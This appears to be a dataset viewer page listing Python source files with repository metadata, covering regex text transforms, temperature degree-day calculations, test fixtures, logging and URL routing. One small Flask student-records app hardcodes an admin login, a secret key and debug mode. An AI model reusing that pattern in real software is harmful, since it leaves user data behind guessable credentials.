xszheng2020/the_stack_dedup_python_hits_0 · Datasets at Hugging Face

863f656903c4148e82b3b4fd5343ee724e111ab6

3,469

py

Python

function/python/brightics/function/textanalytics/regex.py

jhpark428/studio

539457b3026dda827c1b17b4cb851946e34e3b85

[ "Apache-2.0" ]

202

2018-10-23T04:37:35.000Z

2022-01-27T05:51:10.000Z

function/python/brightics/function/textanalytics/regex.py

sagarmk/studio

3bc547fdf85ae6be80c1b40916f9f5d31d2b3f75

[ "MIT" ]

444

2018-11-07T08:41:14.000Z

2022-03-16T06:48:57.000Z

function/python/brightics/function/textanalytics/regex.py

sagarmk/studio

3bc547fdf85ae6be80c1b40916f9f5d31d2b3f75

[ "MIT" ]

99

2018-11-08T04:12:13.000Z

2022-03-30T05:36:27.000Z

""" Copyright 2019 Samsung SDS Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from brightics.common.utils import check_required_parameters from brightics.common.exception import BrighticsFunctionException from .data import regex_format_dict import re def regex(table, **params): check_required_parameters(_regex, params, ['table']) return _regex(table, **params) def _regex(table, input_cols, transformation_mode='extract', find_mode='all', pattern='', user_dict_pattern='', custom_pattern='', replacement_string='', user_dict=None): out_table = table.copy() pattern_dict = regex_format_dict.pattern_dict user_pattern_dict = {} if user_dict is not None: user_patterns = user_dict.values for user_pattern in user_patterns: user_pattern_name = user_pattern[0] user_pattern_content = user_pattern[1] user_pattern_dict[user_pattern_name] = user_pattern_dict.get(user_pattern_name, []) + [user_pattern_content] user_pattern_dict = {key: r'|'.join(value) for key, value in user_pattern_dict.items()} if pattern == '': raise BrighticsFunctionException.from_errors([{'0100': "Please choose a pattern."}]) if pattern == 'custom': raw_pattern = custom_pattern elif pattern == 'user_dictionary': raw_pattern = user_pattern_dict.get(user_dict_pattern) if raw_pattern is None: raise BrighticsFunctionException.from_errors( [{'0100': user_dict_pattern + " is not a valid pattern name in the user dictionary."}]) else: raw_pattern = pattern_dict.get(pattern) regex_pattern = re.compile(raw_pattern) def transformation(text): if transformation_mode == 'extract': if find_mode == 'first': result = regex_pattern.search(text) if result is None: return "" else: return result.group() else: # find_mode == 'all' return regex_pattern.findall(text) elif transformation_mode == 'replace': if find_mode == 'first': return regex_pattern.sub(replacement_string, text, 1) else: # find_mode == 'all' return regex_pattern.sub(replacement_string, text) elif transformation_mode == 'remove': if find_mode == 'first': return regex_pattern.sub("", text, 1) else: # find_mode == 'all' return regex_pattern.sub("", text) else: # transformation_mode == 'split' if find_mode == 'first': return regex_pattern.split(text, 1) else: # find_mode == 'all' return regex_pattern.split(text) for col in input_cols: result_col = table[col].apply(transformation) out_table['regex_' + col] = result_col return {'out_table': out_table}

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863fffaabccfedecd9149dc35acae6b9542aa04c

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py

Python

bin/temperature_functions.py

travc/outbreak-reporter

0f03ca66993827ae1866d09e3cf5d9f6d4acb633

[ "MIT" ]

null

bin/temperature_functions.py

travc/outbreak-reporter

0f03ca66993827ae1866d09e3cf5d9f6d4acb633

[ "MIT" ]

2

2019-12-15T19:58:26.000Z

2019-12-17T05:33:32.000Z

bin/temperature_functions.py

travc/outbreak-reporter

0f03ca66993827ae1866d09e3cf5d9f6d4acb633

[ "MIT" ]

1

2022-03-04T01:36:38.000Z

#!/usr/bin/env python3 import sys import os import logging import numpy as np import pandas as pd import dateutil def tempF2C(x): return (x-32.0)*5.0/9.0 def tempC2F(x): return (x*9.0/5.0)+32.0 def load_temperature_hdf5(temps_fn, local_time_offset, basedir=None, start_year=None, truncate_to_full_day=False): ## Load temperature # temps_fn = "{}_AT_cleaned.h5".format(station_callsign) logging.info("Using saved temperatures file '{}'".format(temps_fn)) if basedir is not None: temps_fn = os.path.join(basedir, temps_fn) tempdf = pd.read_hdf(temps_fn, 'table') tmp = local_time_offset.split(':') tmp = int(tmp[0])*3600+int(tmp[1])*60 sitetz = dateutil.tz.tzoffset(local_time_offset, tmp) tempdf.index = tempdf.index.tz_convert(sitetz) if truncate_to_full_day: x = tempdf.index[-1] if x.hour != 23: x = x-pd.Timedelta(days=1) tmp = '{:04d}-{:02d}-{:02d}'.format(x.year, x.month, x.day) tempdf = tempdf.loc[:tmp] if start_year is not None: tempdf = tempdf.loc['{}-01-01'.format(start_year):] logging.info("Temperature data date range used: {} through {}".format(tempdf.index[0], tempdf.index[-1])) return tempdf def load_temperature_csv(fn, local_time_offset=None): t = pd.read_csv(fn, index_col=0) if local_time_offset is not None: tmp = local_time_offset.split(':') tmp = int(tmp[0])*3600+int(tmp[1])*60 sitetz = dateutil.tz.tzoffset(local_time_offset, tmp) #t.index = pd.to_datetime(t.index).tz_localize('UTC').tz_convert(sitetz) # @TCC this fails if csv contains datetimes with TZ t.index = pd.to_datetime(t.index) try: t.index = t.index.tz_localize('UTC') except TypeError: pass t.index = t.index.tz_convert(sitetz) return t # Function which computes BM (single sine method) degree day generation from temperature data def compute_BMDD_Fs(tmin, tmax, base_temp, dd_gen): # Used internally def _compute_daily_BM_DD(mint, maxt, avet, base_temp): """Use standard Baskerville-Ermin (single sine) degree-day method to compute the degree-day values for each a single day. """ if avet is None: avet = (mint+maxt)/2.0 # simple midpoint (like in the refs) dd = np.nan # value which we're computing # Step 1: Adjust for observation time; not relevant # Step 2: GDD = 0 if max < base (curve all below base) if maxt < base_temp: dd = 0 # Step 3: Calc mean temp for day; already done previously # Step 4: min > base; then whole curve counts elif mint >= base_temp: dd = avet - base_temp # Step 5: else use curve minus part below base else: W = (maxt-mint)/2.0 tmp = (base_temp-avet) / W if tmp < -1: print('WARNING: (base_temp-avet)/W = {} : should be [-1:1]'.format(tmp)) tmp = -1 if tmp > 1: print('WARNING: (base_temp-avet)/W = {} : should be [-1:1]'.format(tmp)) tmp = 1 A = np.arcsin(tmp) dd = ((W*np.cos(A))-((base_temp-avet)*((np.pi/2.0)-A)))/np.pi return dd # compute the degree-days for each day in the temperature input (from tmin and tmax vectors) dd = pd.concat([tmin,tmax], axis=1) dd.columns = ['tmin', 'tmax'] dd['DD'] = dd.apply(lambda x: _compute_daily_BM_DD(x[0], x[1], (x[0]+x[1])/2.0, base_temp), axis=1) # compute the degree-days for each day in the temperature input (from a daily groupby) # grp = t.groupby(pd.TimeGrouper('D')) # dd = grp.agg(lambda x: _compute_daily_BM_DD(np.min(x), np.max(x), None, base_temp)) # dd.columns = ['DD'] # Find the point where cumulative sums of degree days cross the threshold cDD = dd['DD'].cumsum(skipna=True) for cumdd_threshold,label in [[1*dd_gen,'F1'], [2*dd_gen,'F2'], [3*dd_gen,'F3']]: dtmp = np.zeros(len(dd['DD']))*np.nan tmp = np.searchsorted(cDD, cDD+(cumdd_threshold)-dd['DD'], side='left').astype(float) tmp[tmp>=len(tmp)] = np.nan #dd[label+'_idx'] = tmp # convert those indexes into end times e = pd.Series(index=dd.index, dtype='float64')#, dtype='datetime64[ns]') #e[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)] # @TCC previous code e.loc[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)] e.loc[np.isnan(tmp)] = np.nan dd[label+'_end'] = e # and duration... #dd[label] = (e-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan if pd.isnull(x) else x.days) # @TCC previous code dd[label] = (pd.to_datetime(e)-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan if pd.isnull(x) else x.days) #dd.loc[np.isnan(tmp), label] = np.nan print("DD dataframe min values\n", dd.min()) return dd def compute_year_over_year_norm(in_dataframe, start, end, norm_start=None, norm_end=None, freq='daily', interp_method='linear', norm_method='mean'): """ Parameters ---------- start: convertable to Datetime start range of dates to output end: convertable to Datetime end range of dates to output norm_start : convertable to Datetime or None `None` will use in_dataframe.index[0] norm_end : convertable to Datetime or None if given (not None), output range does not include `norm_end` (it is half-open) `None` will use in_dataframe.index[-1] freq : {'daily', 'hourly'} interp_method : str or None `None` will skip resample and interpolation, so `in_dataframe` must already be daily or hourly (depending on `freq`)! norm_method : {'mean', 'median'} """ if freq == 'hourly': hrs = 24 hrs_freq = '1h' elif freq == 'daily': hrs = 1 hrs_freq = '24h' else: raise ValueError("Invalid `freq` argument value: {}".format(freq)) if norm_start is None: norm_start = in_dataframe.index[0] if norm_end is None: norm_end = in_dataframe.index[-1] else: norm_end = pd.to_datetime([norm_end])[0] - pd.Timedelta('1 second') print('Computing using range:', norm_start, 'to', norm_end) if interp_method is None: # skip resample+interpolation (assumes in_dataframe is daily!) t = in_dataframe.loc[norm_start:norm_end] else: # resample and interpolate to get hourly t = in_dataframe.resample(hrs_freq).interpolate(method=interp_method).loc[norm_start:norm_end] if norm_method == 'mean': norm = t.groupby([t.index.month, t.index.day, t.index.hour]).mean().sort_index() elif norm_method == 'median': norm = t.groupby([t.index.month, t.index.day, t.index.hour]).median().sort_index() else: assert False, "Error: Unknown norm_method '{}'".format(norm_method) # now replicate and trim to the desired output range start = pd.to_datetime(start) end = pd.to_datetime(end) # need a non-leapyear and leapyear version norm_ly = norm.copy() if norm.shape[0] == 366*hrs: norm = norm.drop((2,29,)) else: # norm doesn't include any leapyear data assert norm.shape[0] == 365*hrs # make Feb 29 the mean of Feb 28 and Mar 1 foo = (norm.loc[(2,28,)] + norm.loc[(3,1,)]) / 2.0 foo.index = pd.MultiIndex.from_product( ([2],[29],list(range(hrs))) ) norm_ly = pd.concat((norm_ly,foo)).sort_index() norm_ly.sort_index(inplace=True) # probably not needed # build up a 'long normal' (lnorm) dataframe year by year by appending the norm or norm_ly lnorm = None for yr in np.arange(start.year, end.year+1): #print(yr) idx = pd.date_range(start='{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[0]), end= '{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[-1]), freq=hrs_freq) if idx.shape[0] == 366*hrs: foo = norm_ly.copy() else: assert norm.shape[0] == 365*hrs foo = norm.copy() foo.index = idx if lnorm is None: lnorm = foo else: lnorm = lnorm.append(foo) return lnorm.loc[start:end]

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864003328f8b49eae739c102dea7da6313ecab13

2,584

py

Python

applications/CSharpWrapperApplication/tests/test_CSharpWrapperApplication.py

lkusch/Kratos

e8072d8e24ab6f312765185b19d439f01ab7b27b

[ "BSD-4-Clause" ]

778

2017-01-27T16:29:17.000Z

2022-03-30T03:01:51.000Z

applications/CSharpWrapperApplication/tests/test_CSharpWrapperApplication.py

lkusch/Kratos

e8072d8e24ab6f312765185b19d439f01ab7b27b

[ "BSD-4-Clause" ]

6,634

2017-01-15T22:56:13.000Z

2022-03-31T15:03:36.000Z

applications/CSharpWrapperApplication/tests/test_CSharpWrapperApplication.py

lkusch/Kratos

e8072d8e24ab6f312765185b19d439f01ab7b27b

[ "BSD-4-Clause" ]

224

2017-02-07T14:12:49.000Z

2022-03-06T23:09:34.000Z

# import Kratos import KratosMultiphysics import KratosMultiphysics.StructuralMechanicsApplication as StructuralMechanicsApplication import KratosMultiphysics.CSharpWrapperApplication as CSharpWrapperApplication import run_cpp_unit_tests # Import Kratos "wrapper" for unittests import KratosMultiphysics.KratosUnittest as KratosUnittest # Import subprocess import subprocess # Using kratos_utilities import KratosMultiphysics.kratos_utilities as kratos_utilities if kratos_utilities.CheckIfApplicationsAvailable("ExternalSolversApplication"): has_external_solvers_application = True else: has_external_solvers_application = False # Import the tests o test_classes to create the suits ## SMALL TESTS ## NIGTHLY TESTS ## VALIDATION TESTS def AssembleTestSuites(): ''' Populates the test suites to run. Populates the test suites to run. At least, it should pupulate the suites: "small", "nighlty" and "all" Return ------ suites: A dictionary of suites The set of suites with its test_cases added. ''' suites = KratosUnittest.KratosSuites # Create a test suit with the selected tests (Small tests): smallSuite = suites['small'] # Create a test suit with the selected tests plus all small tests nightlySuite = suites['nightly'] ### BEGIN SMALL SUITE ### ### END SMALL SUITE ### ### BEGIN NIGHTLY SUITE ### ### END VALIDATION SUITE ### ### BEGIN VALIDATION SUITE ### # For very long tests that should not be in nighly and you can use to validate validationSuite = suites['validation'] validationSuite.addTests(nightlySuite) ### END VALIDATION ### # Create a test suit that contains all the tests: allSuite = suites['all'] allSuite.addTests(nightlySuite) # Already contains the smallSuite validationSuite.addTests(allSuite) # Validation contains all # Manual list for debugging #allSuite.addTests( #KratosUnittest.TestLoader().loadTestsFromTestCases([ #### STANDALONE #### SMALL #### NIGTHLY #### VALIDATION #]) #) return suites if __name__ == '__main__': KratosMultiphysics.Logger.PrintInfo("Unittests", "\nRunning cpp unit tests ...") run_cpp_unit_tests.run() KratosMultiphysics.Logger.PrintInfo("Unittests", "Finished running cpp unit tests!") KratosMultiphysics.Logger.PrintInfo("Unittests", "\nRunning python tests ...") KratosUnittest.runTests(AssembleTestSuites()) KratosMultiphysics.Logger.PrintInfo("Unittests", "Finished python tests!")

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86421594cd7a65136f722a4e9889059ae90e1d77

2,145

py

Python

run.py

Ganeshrockz/Flask-Python-Dev

522b280484e8f4cf3877b378a1334c501ffbc41e

[ "Apache-2.0" ]

null

run.py

Ganeshrockz/Flask-Python-Dev

522b280484e8f4cf3877b378a1334c501ffbc41e

[ "Apache-2.0" ]

null

run.py

Ganeshrockz/Flask-Python-Dev

522b280484e8f4cf3877b378a1334c501ffbc41e

[ "Apache-2.0" ]

null

from flask import Flask, flash, render_template, redirect, url_for from flask.ext.pymongo import PyMongo from flask import request app=Flask(__name__) app.config['MONGO_DBNAME']='stud' app.config['MONGO_URI']='mongodb://localhost:27017/stud' mongo=PyMongo(app) """ @app.route('/add') def add(): user=mongo.db.users user.insert({"name":"Ganesh","age":19}) return "Added" @app.route('/find') def find(): user=mongo.db.users data=user.find_one({"name":"Ganesh"}) return data["name"] """ @app.route('/',methods=['GET', 'POST']) def dashboard(): if request.method == 'POST': name=request.form['name'] passw=request.form['password'] if name=="admin123" and passw=="12345": return redirect(url_for('display')) else: return render_template("dashboard.html",err="Login Failed") else: return render_template("dashboard.html") @app.route('/form',methods=['GET', 'POST']) def form(): if request.method == 'POST': user=mongo.db.student rollno=request.form['rollno'] name=request.form['name'] address=request.form['address'] year=request.form['year'] skills=request.form['skills'] phone=request.form['phone'] email=request.form['emailid'] user.insert({"Rollnumber":rollno,"StudentName":name,"Address":address,"Year":year,"Skills":skills,"PhoneNumber":phone,"EmailId":email}) return redirect(url_for('dashboard')) else: return render_template("form.html") @app.route('/display',methods=['GET', 'POST']) def display(): data=mongo.db.student record=[] for rec in data.find(): record.append({"Rollnumber":rec["Rollnumber"],"StudentName":rec["StudentName"],"Address":rec["Address"],"Year":rec["Year"],"Skills":rec["Skills"],"PhoneNumber":rec["PhoneNumber"],"EmailId":rec["EmailId"]}) app.logger.info(record) return render_template("display.html", studentdata=record) if __name__ == '__main__': app.secret_key = 'ganeshrockz' app.run(debug=True)

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86448f12322f6a8ff13f239dbc2163cdebce1c56

12,198

py

Python

resources/tests/conftest.py

jussiarpalahti/respa

c308bcb96e56d9401e22df94d3073e248618e243

[ "MIT" ]

null

resources/tests/conftest.py

jussiarpalahti/respa

c308bcb96e56d9401e22df94d3073e248618e243

[ "MIT" ]

null

resources/tests/conftest.py

jussiarpalahti/respa

c308bcb96e56d9401e22df94d3073e248618e243

[ "MIT" ]

null

# -*- coding: utf-8 -*- import pytest import datetime from django.contrib.auth import get_user_model from django.contrib.auth.models import Group from rest_framework.test import APIClient, APIRequestFactory from resources.enums import UnitAuthorizationLevel from resources.models import Resource, ResourceType, Unit, Purpose, Day, Period from resources.models import Equipment, EquipmentAlias, ResourceEquipment, EquipmentCategory, TermsOfUse, ResourceGroup from resources.models import AccessibilityValue, AccessibilityViewpoint, ResourceAccessibility, UnitAccessibility from munigeo.models import Municipality @pytest.fixture def api_client(): return APIClient() @pytest.fixture def staff_api_client(staff_user): api_client = APIClient() api_client.force_authenticate(user=staff_user) return api_client @pytest.fixture def user_api_client(user): api_client = APIClient() api_client.force_authenticate(user=user) return api_client @pytest.fixture(params=[None, 'user', 'staff_user']) def all_user_types_api_client(request): api_client = APIClient() if request.param: api_client.force_authenticate(request.getfixturevalue(request.param)) return api_client @pytest.fixture def api_rf(): return APIRequestFactory() @pytest.mark.django_db @pytest.fixture def space_resource_type(): return ResourceType.objects.get_or_create(id="test_space", name="test_space", main_type="space")[0] @pytest.mark.django_db @pytest.fixture def space_resource(space_resource_type): return Resource.objects.create(type=space_resource_type, authentication="none", name="resource") @pytest.mark.django_db @pytest.fixture def test_unit(): return Unit.objects.create(name="unit", time_zone='Europe/Helsinki') @pytest.fixture def test_unit2(): return Unit.objects.create(name="unit 2", time_zone='Europe/Helsinki') @pytest.fixture def test_unit3(): return Unit.objects.create(name="unit 3", time_zone='Europe/Helsinki') @pytest.fixture def terms_of_use(): return TermsOfUse.objects.create( name_fi='testikäyttöehdot', name_en='test terms of use', text_fi='kaikki on kielletty', text_en='everything is forbidden', ) @pytest.mark.django_db @pytest.fixture def resource_in_unit(space_resource_type, test_unit, terms_of_use): return Resource.objects.create( type=space_resource_type, authentication="none", name="resource in unit", unit=test_unit, max_reservations_per_user=1, max_period=datetime.timedelta(hours=2), reservable=True, generic_terms=terms_of_use, specific_terms_fi='spesifiset käyttöehdot', specific_terms_en='specific terms of use', reservation_confirmed_notification_extra_en='this resource rocks' ) @pytest.mark.django_db @pytest.fixture def resource_in_unit2(space_resource_type, test_unit2): return Resource.objects.create( type=space_resource_type, authentication="none", name="resource in unit 2", unit=test_unit2, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True, ) @pytest.mark.django_db @pytest.fixture def resource_in_unit3(space_resource_type, test_unit3): return Resource.objects.create( type=space_resource_type, authentication="none", name="resource in unit 3", unit=test_unit3, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True, ) @pytest.mark.django_db @pytest.fixture def resource_with_opening_hours(resource_in_unit): p1 = Period.objects.create(start=datetime.date(2115, 1, 1), end=datetime.date(2115, 12, 31), resource=resource_in_unit, name='regular hours') for weekday in range(0, 7): Day.objects.create(period=p1, weekday=weekday, opens=datetime.time(8, 0), closes=datetime.time(18, 0)) resource_in_unit.update_opening_hours() return resource_in_unit @pytest.mark.django_db @pytest.fixture def exceptional_period(resource_with_opening_hours): parent = resource_with_opening_hours.periods.first() period = Period.objects.create(start='2115-01-10', end='2115-01-12', resource=resource_with_opening_hours, name='exceptional hours', exceptional=True, parent=parent) date = period.start Day.objects.create(period=period, weekday=date.weekday(), closed=True) date = date + datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(), opens='12:00', closes='13:00') date = date + datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(), closed=True) return period @pytest.mark.django_db @pytest.fixture def equipment_category(): return EquipmentCategory.objects.create( name='test equipment category' ) @pytest.mark.django_db @pytest.fixture def equipment(equipment_category): equipment = Equipment.objects.create(name='test equipment', category=equipment_category) return equipment @pytest.mark.django_db @pytest.fixture def equipment_alias(equipment): equipment_alias = EquipmentAlias.objects.create(name='test equipment alias', language='fi', equipment=equipment) return equipment_alias @pytest.mark.django_db @pytest.fixture def resource_equipment(resource_in_unit, equipment): data = {'test_key': 'test_value'} resource_equipment = ResourceEquipment.objects.create( equipment=equipment, resource=resource_in_unit, data=data, description='test resource equipment', ) return resource_equipment @pytest.mark.django_db @pytest.fixture def user(): return get_user_model().objects.create( username='test_user', first_name='Cem', last_name='Kaner', email='cem@kaner.com', preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def user2(): return get_user_model().objects.create( username='test_user2', first_name='Brendan', last_name='Neutra', email='brendan@neutra.com' ) @pytest.mark.django_db @pytest.fixture def staff_user(): return get_user_model().objects.create( username='test_staff_user', first_name='John', last_name='Staff', email='john@staff.com', is_staff=True, preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def unit_manager_user(resource_in_unit): user = get_user_model().objects.create( username='test_manager_user', first_name='Inspector', last_name='Lestrade', email='lestrade@scotlandyard.co.uk', is_staff=True, preferred_language='en' ) user.unit_authorizations.create(subject=resource_in_unit.unit, level=UnitAuthorizationLevel.manager) return user @pytest.mark.django_db @pytest.fixture def general_admin(): return get_user_model().objects.create( username='test_general_admin', first_name='Genie', last_name='Manager', email='genie.manager@example.com', is_staff=True, is_general_admin=True, preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def group(): return Group.objects.create(name='test group') @pytest.mark.django_db @pytest.fixture def purpose(): return Purpose.objects.create(name='test purpose', id='test-purpose') @pytest.fixture def resource_group(resource_in_unit): group = ResourceGroup.objects.create( identifier='test_group', name='Test resource group' ) group.resources.set([resource_in_unit]) return group @pytest.fixture def resource_group2(resource_in_unit2): group = ResourceGroup.objects.create( identifier='test_group_2', name='Test resource group 2' ) group.resources.set([resource_in_unit2]) return group @pytest.fixture def test_municipality(): municipality = Municipality.objects.create( id='foo', name='Foo' ) return municipality @pytest.fixture def accessibility_viewpoint_wheelchair(): vp = {"id": "10", "name_en": "I am a wheelchair user", "order_text": 10} return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def accessibility_viewpoint_hearing(): vp = {"id": "20", "name_en": "I am hearing impaired", "order_text": 20} return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def accessibility_value_green(): return AccessibilityValue.objects.create(value='green', order=10) @pytest.fixture def accessibility_value_red(): return AccessibilityValue.objects.create(value='red', order=-10) @pytest.fixture def resource_with_accessibility_data(resource_in_unit, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): """ Resource is wheelchair accessible, not hearing accessible, unit is accessible to both """ ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_red ) UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) return resource_in_unit @pytest.fixture def resource_with_accessibility_data2(resource_in_unit2, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): """ Resource is hearing accessible, not wheelchair accessible, unit is accessible to both """ ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red ) ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) return resource_in_unit2 @pytest.fixture def resource_with_accessibility_data3(resource_in_unit3, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): """ Resource is accessible, unit is not """ ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit3.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red ) UnitAccessibility.objects.create( unit=resource_in_unit3.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_red ) return resource_in_unit3

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0.702492

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0.070056

0.041596

0.596935

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0.498662

0.456702

0.403308

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0

0.010521

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12,198

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120

29.678832

0.837545

0.019101

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false

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null

0

null

0

1

0

86468125b6e8c3a2e71c1dfdfd2e29f1c5b2af19

586

py

Python

qcmetadataprinter/struct.py

x2dev/device_leeco_x2

9bf4549b5f64390ca4da291745b2a66a8e3f006e

[ "FTL" ]

null

qcmetadataprinter/struct.py

x2dev/device_leeco_x2

9bf4549b5f64390ca4da291745b2a66a8e3f006e

[ "FTL" ]

null

qcmetadataprinter/struct.py

x2dev/device_leeco_x2

9bf4549b5f64390ca4da291745b2a66a8e3f006e

[ "FTL" ]

null

#!/bin/python3 with open('../camera/QCamera2/stack/common/cam_intf.h', 'r') as f: data = f.read() f.closed start = data.find(' INCLUDE(CAM_INTF_META_HISTOGRAM') end = data.find('} metadata_data_t;') data = data[start:end] metadata = data.split("\n") metalist = list() for line in metadata: if (line.startswith(' INCLUDE')): foo = line.split(',') foo[0] = foo[0].replace('INCLUDE', 'PRINT') metalist.append(foo[0] + ", pMetadata);") with open('list.txt', 'w') as f: for item in metalist: f.write("%s\n" % item) f.closed

23.44

66

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84

586

4.071429

0.535714

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0

0.010846

0.213311

586

24

67

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false

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null

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null

0

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8647521d4f7b0429f689d687206113be1ffbd603

317

py

Python

abc/abc121/abc121d-2.py

c-yan/atcoder

940e49d576e6a2d734288fadaf368e486480a948

[ "MIT" ]

1

2019-08-21T00:49:34.000Z

abc/abc121/abc121d-2.py

c-yan/atcoder

940e49d576e6a2d734288fadaf368e486480a948

[ "MIT" ]

null

abc/abc121/abc121d-2.py

c-yan/atcoder

940e49d576e6a2d734288fadaf368e486480a948

[ "MIT" ]

null

def g(A, n): if A == -1: return 0 return A // (2 * n) * n + max(A % (2 * n) - (n - 1), 0) def f(A, B): result = 0 for i in range(48): t = 1 << i if (g(B, t) - g(A - 1, t)) % 2 == 1: result += t return result A, B = map(int, input().split()) print(f(A, B))

16.684211

59

0.381703

59

317

2.050847

0.40678

0.049587

0.066116

0

0.068783

0.403785

317

18

60

17.611111

0.571429

0

1

0.153846

false

0

0.384615

0.076923

0

null

0

null

0

1

0

86479efec94998d8ac597979216e69bc35252174

807

py

Python

log_mysql.py

kizunai/Weather-Scrapy

d2104d28dc303f6710b043f9821dcb84c665665d

[ "Apache-2.0" ]

null

log_mysql.py

kizunai/Weather-Scrapy

d2104d28dc303f6710b043f9821dcb84c665665d

[ "Apache-2.0" ]

null

log_mysql.py

kizunai/Weather-Scrapy

d2104d28dc303f6710b043f9821dcb84c665665d

[ "Apache-2.0" ]

null

import logging from logging.handlers import TimedRotatingFileHandler class MyLog(): def __init__(self, name, filename): self.logger = logging.getLogger(name) if not self.logger.handlers: self.logger.setLevel(logging.INFO) ch = TimedRotatingFileHandler(filename=filename, when='midnight', encoding="utf-8") ch.setLevel(logging.DEBUG) formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') ch.setFormatter(formatter) self.logger.addHandler(ch) ''' logger = MyLog("test","log\\text.txt") logger.logger.debug('debug message') logger.logger.info('info message') logger.logger.warning('warn message') logger.logger.error('error message') logger.logger.critical('critical message') '''

31.038462

97

0.675341

91

807

5.945055

0.43956

0.110906

0.140481

0

0.001517

0.183395

807

25

98

32.28

0.819423

0

0.114236

0

1

0.083333

false

0

0.166667

0

0.333333

0

null

0

null

0

1

0

8647faa20530aa0d730c1a40c079c5454d72f20d

1,252

py

Python

src/fiesta/urls.py

lerooze/django-fiesta

d521f50bcdd3d40e91f0474ec2fa7e256758e0a5

[ "BSD-3-Clause" ]

null

src/fiesta/urls.py

lerooze/django-fiesta

d521f50bcdd3d40e91f0474ec2fa7e256758e0a5

[ "BSD-3-Clause" ]

3

2019-10-29T23:31:01.000Z

2020-03-31T03:08:28.000Z

src/fiesta/urls.py

lerooze/django-fiesta

d521f50bcdd3d40e91f0474ec2fa7e256758e0a5

[ "BSD-3-Clause" ]

null

# urls.py from django.urls import path, register_converter from fiesta import converters from fiesta.views import views from rest_framework.urlpatterns import format_suffix_patterns # "http://django-sdmx.org/wsrest/" # "http://django-sdmx.org/ws/" register_converter(converters.ResourceConverter, 'res') register_converter(converters.AgencyConverter, 'age') register_converter(converters.ContextConverter, 'con') urlpatterns = [ path('wsreg/SubmitStructure/', views.SubmitStructureRequestView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>/<str:version>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/<res:resource>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/' '<str:version>/', views.SDMXRESTfulStructureView.as_view()), ] urlpatterns = format_suffix_patterns(urlpatterns)

40.387097

125

0.742812

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1,252

6.720588

0.308824

0.045952

0.065646

0.105033

0.484683

0.40372

0.370897

0

0.099042

1,252

30

126

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0.810284

0.055112

0

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0

null

0

null

0

1

0

864838cbb6dc59b795206fdcacaeae0f4be0ca16

9,159

py

Python

sepa_generator/definitions.py

jason-gm/python_sepa

542c48326c07ab68d341a07d5ee12502f7248690

[ "MIT" ]

null

sepa_generator/definitions.py

jason-gm/python_sepa

542c48326c07ab68d341a07d5ee12502f7248690

[ "MIT" ]

null

sepa_generator/definitions.py

jason-gm/python_sepa

542c48326c07ab68d341a07d5ee12502f7248690

[ "MIT" ]

null

